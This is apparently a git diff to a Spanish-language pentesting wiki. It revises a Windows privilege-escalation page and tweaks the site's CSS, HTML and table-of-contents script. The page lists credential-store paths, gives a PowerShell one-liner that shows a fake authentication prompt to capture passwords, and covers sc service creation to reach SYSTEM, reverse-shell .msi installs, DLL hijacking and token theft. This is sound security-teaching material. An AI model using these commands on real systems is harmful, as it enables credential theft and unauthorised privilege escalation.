Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
@ -972,15 +974,15 @@ AppData\Roaming\gcloud\access_tokens.db
|
||||
```
|
||||
### McAfee SiteList.xml
|
||||
|
||||
Busca un archivo llamado **SiteList.xml**
|
||||
Busque un archivo llamado **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de Group Policy Preferences (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPPs, encriptadas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser desencriptadas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
|
||||
|
||||
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función desencripta la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
|
||||
Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar dicho archivo, la función desencripta la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
|
||||
|
||||
Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
|
||||
Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ para estos archivos:
|
||||
|
||||
- Groups.xml
|
||||
- Services.xml
|
||||
@ -1052,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Pedir credenciales
|
||||
|
||||
Puedes siempre **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
|
||||
Siempre puedes **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** directamente al cliente las **credenciales** es realmente **arriesgado**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1154,7 +1156,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
|
||||
### Historial de Navegadores
|
||||
|
||||
Debes verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
|
||||
Deberías verificar bases de datos donde se almacenan contraseñas de **Chrome o Firefox**.\
|
||||
También revisa el historial, marcadores y favoritos de los navegadores, ya que tal vez algunas **contraseñas están** almacenadas allí.
|
||||
|
||||
Herramientas para extraer contraseñas de navegadores:
|
||||
@ -1170,13 +1172,13 @@ Herramientas para extraer contraseñas de navegadores:
|
||||
|
||||
Las clases e interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral).
|
||||
Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Unico Hilo), **Free** (Multi-Hilo), **Both** (Único o Multi) o **Neutral** (Hilo Neutral).
|
||||
|
||||
.png>)
|
||||
|
||||
Básicamente, si puedes **sobrescribir cualquiera de las DLLs** que se van a ejecutar, podrías **escalar privilegios** si esa DLL va a ser ejecutada por un usuario diferente.
|
||||
|
||||
Para aprender cómo los atacantes utilizan el secuestro de COM como un mecanismo de persistencia, consulta:
|
||||
Para aprender cómo los atacantes utilizan el secuestro COM como un mecanismo de persistencia, consulta:
|
||||
|
||||
{{#ref}}
|
||||
com-hijacking.md
|
||||
@ -1219,7 +1221,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
## Leaked Handlers
|
||||
|
||||
Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
|
||||
Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1229,7 +1231,7 @@ Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comun
|
||||
|
||||
Windows proporciona una característica llamada **Named Pipes**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de named pipe** y **cliente de named pipe**.
|
||||
|
||||
Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener mayores privilegios** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](./#from-high-integrity-to-system).
|
||||
Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener mayores privilegios** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](#from-high-integrity-to-system).
|
||||
|
||||
Además, la siguiente herramienta permite **interceptar una comunicación de named pipe con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1251,7 +1253,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
|
||||
## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC
|
||||
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
|
||||
Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
|
||||
|
||||
Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft.
|
||||
|
||||
@ -1313,54 +1315,56 @@ Luego **lee esto para aprender sobre UAC y bypasses de UAC:**
|
||||
../authentication-credentials-uac-and-efs/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
## **De Alto Nivel de Integridad a Sistema**
|
||||
## **De Alta Integridad a Sistema**
|
||||
|
||||
### **Nuevo servicio**
|
||||
|
||||
Si ya estás ejecutando un proceso de Alto Nivel de Integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
Si ya estás ejecutando un proceso de Alta Integridad, el **paso a SYSTEM** puede ser fácil simplemente **creando y ejecutando un nuevo servicio**:
|
||||
```
|
||||
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
|
||||
sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso utilizando un _**.msi**_ wrapper.\
|
||||
[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](./#alwaysinstallelevated)
|
||||
Desde un proceso de alta integridad, podrías intentar **habilitar las entradas del registro AlwaysInstallElevated** y **instalar** un shell reverso usando un _**.msi**_ wrapper.\
|
||||
[Más información sobre las claves del registro involucradas y cómo instalar un paquete _.msi_ aquí.](#alwaysinstallelevated)
|
||||
|
||||
### Privilegio High + SeImpersonate a System
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
**Puedes** [**encontrar el código aquí**](seimpersonate-from-high-to-system.md)**.**
|
||||
|
||||
### De SeDebug + SeImpersonate a privilegios de token completo
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Si tienes esos privilegios de token (probablemente los encontrarás en un proceso de alta integridad), podrás **abrir casi cualquier proceso** (no procesos protegidos) con el privilegio SeDebug, **copiar el token** del proceso y crear un **proceso arbitrario con ese token**.\
|
||||
Usar esta técnica generalmente **implica seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
Usar esta técnica suele ser **seleccionar cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token** (_sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token_).\
|
||||
**Puedes encontrar un** [**ejemplo de código que ejecuta la técnica propuesta aquí**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe utilizando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios de SYSTEM.\
|
||||
Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](./#named-pipe-client-impersonation).\
|
||||
Esta técnica es utilizada por meterpreter para escalar en `getsystem`. La técnica consiste en **crear un pipe y luego crear/abusar un servicio para escribir en ese pipe**. Luego, el **servidor** que creó el pipe usando el privilegio **`SeImpersonate`** podrá **suplantar el token** del cliente del pipe (el servicio) obteniendo privilegios SYSTEM.\
|
||||
Si quieres [**aprender más sobre pipes nombrados, deberías leer esto**](#named-pipe-client-impersonation).\
|
||||
Si quieres leer un ejemplo de [**cómo pasar de alta integridad a System usando pipes nombrados, deberías leer esto**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\
|
||||
**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/)**.**
|
||||
Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso** que se ejecuta como **SYSTEM**, podrás ejecutar código arbitrario con esos permisos. Por lo tanto, el Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es **mucho más fácil de lograr desde un proceso de alta integridad** ya que tendrá **permisos de escritura** en las carpetas utilizadas para cargar dlls.\
|
||||
**Puedes** [**aprender más sobre Dll hijacking aquí**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **De Administrador o Servicio de Red a System**
|
||||
### **From Administrator or Network Service to System**
|
||||
|
||||
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### De SERVICIO LOCAL o SERVICIO DE RED a privilegios completos
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
|
||||
**Lee:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||||
|
||||
## Más ayuda
|
||||
## More help
|
||||
|
||||
[Binarios estáticos de impacket](https://github.com/ropnop/impacket_static_binaries)
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Herramientas útiles
|
||||
## Useful tools
|
||||
|
||||
**Mejor herramienta para buscar vectores de escalada de privilegios locales en Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
@ -1372,10 +1376,10 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rociar contraseñas recopiladas a través del dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es una herramienta de suplantación y hombre-en-el-medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED para Watson)\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**
|
||||
|
||||
**Exe**
|
||||
|
@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
|
||||
}
|
||||
|
||||
/* Languages Menu Popup */
|
||||
|
||||
@media only screen and (max-width:799px) {
|
||||
#menubar-languages-toggle span {
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
|
||||
#menubar-languages-toggle {
|
||||
position: relative;
|
||||
}
|
||||
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
|
||||
cursor: pointer;
|
||||
color: var(--fg);
|
||||
}
|
||||
@media only screen and (max-width:799px) {
|
||||
.menu-title {
|
||||
font-size: 1.4rem;
|
||||
}
|
||||
}
|
||||
|
||||
.menu-bar,
|
||||
.menu-bar:visited,
|
||||
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
|
||||
color: var(--sidebar-fg);
|
||||
}
|
||||
}
|
||||
@media only screen and (min-width:1440px) {
|
||||
#sidebar-toggle{
|
||||
display: none !important;
|
||||
}
|
||||
}
|
||||
@media only screen and (max-width:549px) {
|
||||
.sidebar {
|
||||
position: fixed;
|
||||
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
|
||||
border-top: 1px solid var(--table-border-color);
|
||||
margin-top: 1rem;
|
||||
align-content: center;
|
||||
z-index: 101;
|
||||
z-index: 106;
|
||||
}
|
||||
.footer .theme-wrapper {
|
||||
max-width: var(--container-max-width);
|
||||
|
@ -343,8 +343,8 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: #2f2f2f;
|
||||
--table-header-bg: hsl(226, 23%, 31%);
|
||||
--table-alternate-bg: hsl(226, 23%, 14%);
|
||||
--table-header-bg: #2f2f2f;
|
||||
--table-alternate-bg: #222222;
|
||||
|
||||
--searchbar-border-color: #2f2f2f;
|
||||
--searchbar-bg: hsl(0, 0%, 11%);
|
||||
@ -429,7 +429,7 @@
|
||||
--warning-border: #ff8e00;
|
||||
|
||||
--table-border-color: hsl(0, 0%, 95%);
|
||||
--table-header-bg: hsl(0, 0%, 80%);
|
||||
--table-header-bg: hsl(0, 0%, 95%);
|
||||
--table-alternate-bg: hsl(0, 0%, 97%);
|
||||
|
||||
--searchbar-border-color: #aaa;
|
||||
|
@ -176,10 +176,12 @@
|
||||
|
||||
<div id="menubar-languages-toggle" class="icon-button" type="button" title="Translations" aria-label="Toggle Tanslations" aria-expanded="false" aria-controls="translations">
|
||||
<i class="fa fa-globe"></i>
|
||||
<span class="menu-bar-link">Translations</span>
|
||||
|
||||
<div id="menubar-languages-popup" class="menubar-languages-popup" aria-label="Language menu" role="language menu">
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
<button id="en" role="menuitem" class="menu-bar-link">English</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="fr" role="menuitem" class="menu-bar-link">French</button>
|
||||
<button id="de" role="menuitem" class="menu-bar-link">German</button>
|
||||
<button id="el" role="menuitem" class="menu-bar-link">Greek</button>
|
||||
@ -190,11 +192,10 @@
|
||||
<button id="pl" role="menuitem" class="menu-bar-link">Polish</button>
|
||||
<button id="pt" role="menuitem" class="menu-bar-link">Portuguese</button>
|
||||
<button id="sr" role="menuitem" class="menu-bar-link">Serbian</button>
|
||||
<button id="es" role="menuitem" class="menu-bar-link">Spanish</button>
|
||||
<button id="sw" role="menuitem" class="menu-bar-link">Swahili</button>
|
||||
<button id="tr" role="menuitem" class="menu-bar-link">Turkish</button>
|
||||
<button id="uk" role="menuitem" class="menu-bar-link">Ukrainian</button>
|
||||
<button id="af" role="menuitem" class="menu-bar-link">Afrikaans</button>
|
||||
<button id="zh" role="menuitem" class="menu-bar-link">Chinese</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
@ -72,7 +72,7 @@
|
||||
.sidetoc-wrapper {
|
||||
position: fixed;
|
||||
width: 250px;
|
||||
height: calc(100vh - var(--menu-bar-height) - 25px * 2);
|
||||
height: calc(100vh - var(--menu-bar-height) - 50px * 2);
|
||||
overflow: auto;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
|
@ -1,68 +1,76 @@
|
||||
let scrollTimeout;
|
||||
let scrollTimeout
|
||||
|
||||
const listenActive = () => {
|
||||
const elems = document.querySelector(".pagetoc").children;
|
||||
[...elems].forEach(el => {
|
||||
const elems = document.querySelector(".pagetoc").children
|
||||
;[...elems].forEach((el) => {
|
||||
el.addEventListener("click", (event) => {
|
||||
clearTimeout(scrollTimeout);
|
||||
[...elems].forEach(el => el.classList.remove("active"));
|
||||
el.classList.add("active");
|
||||
clearTimeout(scrollTimeout)
|
||||
;[...elems].forEach((el) => el.classList.remove("active"))
|
||||
el.classList.add("active")
|
||||
// Prevent scroll updates for a short period
|
||||
scrollTimeout = setTimeout(() => {
|
||||
scrollTimeout = null;
|
||||
}, 100); // Adjust timing as needed
|
||||
});
|
||||
});
|
||||
};
|
||||
scrollTimeout = null
|
||||
}, 100) // Adjust timing as needed
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
const getPagetoc = () => document.querySelector(".pagetoc") || autoCreatePagetoc();
|
||||
const getPagetoc = () =>
|
||||
document.querySelector(".pagetoc") || autoCreatePagetoc()
|
||||
|
||||
const autoCreatePagetoc = () => {
|
||||
const main = document.querySelector("#content > main");
|
||||
const main = document.querySelector("#content > main")
|
||||
const content = Object.assign(document.createElement("div"), {
|
||||
className: "content-wrap"
|
||||
});
|
||||
content.append(...main.childNodes);
|
||||
main.prepend(content);
|
||||
main.insertAdjacentHTML("afterbegin", '<div class="sidetoc"><nav class="pagetoc"></nav></div>');
|
||||
return document.querySelector(".pagetoc");
|
||||
};
|
||||
className: "content-wrap",
|
||||
})
|
||||
content.append(...main.childNodes)
|
||||
main.prepend(content)
|
||||
main.insertAdjacentHTML(
|
||||
"afterbegin",
|
||||
'<div class="sidetoc"><nav class="pagetoc"></nav></div>'
|
||||
)
|
||||
return document.querySelector(".pagetoc")
|
||||
}
|
||||
const updateFunction = () => {
|
||||
if (scrollTimeout) return; // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
const scrolledY = window.scrollY;
|
||||
let lastHeader = null;
|
||||
if (scrollTimeout) return // Skip updates if within the cooldown period from a click
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
const scrolledY = window.scrollY
|
||||
let lastHeader = null
|
||||
|
||||
// Find the last header that is above the current scroll position
|
||||
for (let i = headers.length - 1; i >= 0; i--) {
|
||||
if (scrolledY >= headers[i].offsetTop) {
|
||||
lastHeader = headers[i];
|
||||
break;
|
||||
lastHeader = headers[i]
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children];
|
||||
pagetocLinks.forEach(link => link.classList.remove("active"));
|
||||
const pagetocLinks = [...document.querySelector(".pagetoc").children]
|
||||
pagetocLinks.forEach((link) => link.classList.remove("active"))
|
||||
|
||||
if (lastHeader) {
|
||||
const activeLink = pagetocLinks.find(link => lastHeader.href === link.href);
|
||||
if (activeLink) activeLink.classList.add("active");
|
||||
const activeLink = pagetocLinks.find(
|
||||
(link) => lastHeader.href === link.href
|
||||
)
|
||||
if (activeLink) activeLink.classList.add("active")
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
window.addEventListener('load', () => {
|
||||
const pagetoc = getPagetoc();
|
||||
const headers = [...document.getElementsByClassName("header")];
|
||||
headers.forEach(header => {
|
||||
window.addEventListener("load", () => {
|
||||
const pagetoc = getPagetoc()
|
||||
const headers = [...document.getElementsByClassName("header")]
|
||||
headers.forEach((header) => {
|
||||
const link = Object.assign(document.createElement("a"), {
|
||||
textContent: header.text,
|
||||
href: header.href,
|
||||
className: `pagetoc-${header.parentElement.tagName}`
|
||||
});
|
||||
pagetoc.appendChild(link);
|
||||
});
|
||||
updateFunction();
|
||||
listenActive();
|
||||
window.addEventListener("scroll", updateFunction);
|
||||
});
|
||||
|
||||
className: `pagetoc-${header.parentElement.tagName}`,
|
||||
})
|
||||
if (header.parentElement.querySelectorAll("a").length === 2) {
|
||||
link.textContent = header.parentElement.querySelectorAll("a")[1].text
|
||||
}
|
||||
pagetoc.appendChild(link)
|
||||
})
|
||||
updateFunction()
|
||||
listenActive()
|
||||
window.addEventListener("scroll", updateFunction)
|
||||
})
|
||||
|
Loading…
x
Reference in New Issue
Block a user